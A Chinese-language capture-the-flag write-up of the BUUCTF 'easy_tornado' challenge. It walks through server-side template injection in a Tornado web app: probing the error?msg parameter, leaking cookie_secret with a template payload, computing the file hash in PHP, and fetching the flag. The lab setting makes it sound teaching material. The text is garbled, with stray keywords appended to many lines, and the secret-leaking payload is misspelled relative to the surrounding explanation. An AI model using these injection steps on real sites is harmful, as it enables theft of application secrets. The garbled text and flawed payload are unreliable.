有關於服務端模板注入(ssti攻擊)——BUUCTF - easy_tornado

打開題目出現3個連接php

 

 

/flag.txt 中提示flag in /fllllllllllllagnode

/welcome.txt 中提示 renderpython

/hints.txt 中提示 md5(cookie_secret+md5(filename))cookie

直接訪問/fllllllllllllag失敗。tornado

百度了render可知,render是python的一個模板,他們的url都是由filename和filehash組成,filehash即爲他們filename的md5值。url

當filename或filehash不匹配時,將會跳轉到http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg=Error   頁面.spa

因此想到須要獲取cookie_secret來獲得filehashblog

存在msg參數,百度以後發現師傅們能夠進行模塊注入。嘗試了error?msg={{1}},發現的確存在模塊注入。md5

嘗試搜索tornado cookie_secret。發現cookie_secret存放在handler.settings中。hash

因而構建payload

http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg={{hendler_settings}}

獲得'cookie_secret': '2cdad0e1-16ac-4881-861a-daecaa637c2c'

因而用php寫代碼獲取filehash值

<?php
$cookie_secret='2cdad0e1-16ac-4881-861a-daecaa637c2c';
$filename = '/fllllllllllllag';
$go = md5($cookie_secret . md5($filename));
echo $go;
?>
 
再次構建payload
http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/file?filename=/fllllllllllllag&filehash=98b8d02691da0221fc3fc43498a181d4
獲得flag
相關文章
相關標籤/搜索